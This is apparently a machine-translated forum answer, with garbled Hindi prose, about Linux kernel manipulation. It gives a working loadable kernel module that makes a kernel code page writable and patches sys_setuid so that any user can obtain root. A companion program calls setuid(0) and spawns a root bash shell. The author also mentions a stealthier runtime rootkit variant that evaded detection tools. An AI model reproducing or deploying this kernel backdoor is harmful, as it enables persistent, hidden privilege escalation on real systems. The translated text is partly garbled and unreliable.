पहले से ही सामान्य सामान्य स्तर के उत्तर। उदाहरण कोड स्तर पर इस समस्या को कैसे देखें, यह स्पष्ट करें कि मॉड्यूल स्थापित होने पर कमजोर लिनक्स कितना कमजोर है।
मेरे उदाहरण मॉड्यूल:
#include <linux/version.h>
#include <linux/module.h>
#include <linux/highmem.h>
#include <asm/unistd.h>
char *p;
int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map
{ pte_t *pte1;
unsigned int dummy_but_needed;
p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx
pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
pte1->pte |= _PAGE_RW; //Now the code page is writable
*(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
return -1; // Insmod complains and module disappears from the system but module did it's work already
}
MODULE_LICENSE("GPL");//We don't need cleanup_module
उपयोगकर्ता स्तर टर्मिनल पर सुपर उपयोगकर्ता विशेषाधिकार देने परीक्षण कार्यक्रमों:
int main()
{
setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");
system("/bin/bash"); //rax=system call nr and rdi=first parameter
}
यह एक खतरनाक रूटकिट है? नहीं। Sys_setuid पता खोजने के लिए आपके पास पहले से ही रूट विशेषाधिकार होना चाहिए! और व्यावहारिक रूप से हर प्रणाली में यह पता अलग होता है।
वैसे भी यह दिखाता है कि हेरफेर कितना आसान है। असल में गतिशील (रन-टाइम) विधियों द्वारा प्रयुक्त स्थिरता को प्रतिस्थापित करना बहुत आसान है - यहां प्रस्तुत नहीं किया गया है। (यह एक रूटकिट होगा।मैंने कोशिश की और कोई वर्तमान रूटकिट शिकार कार्यक्रम इसे खोजने में सक्षम नहीं था और यह भी हर सिस्टम कॉल ले गया।)
मैंने कर्नेल 3.2 और एएमडी 64 के साथ इसका परीक्षण किया। अन्य एचडब्ल्यू पर काम नहीं करेगा!
(कैसे लगातार जरूरत को खोजने के लिए:
xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
[sudo] password for xxxx:
ffffffff8107f3a0 T sys_setuid
ffffffff810a23f0 T sys_setuid16
)
आप केवल (शारीरिक और वैध) मशीन के व्यवस्थापक संभालने रहे रूट विशेषाधिकारों है, जो अक्सर मामला नहीं है। :) एलकेएम सामान की जड़ कर सकते हैं बिल्कुल बिल्कुल कुछ नहीं जानता है। –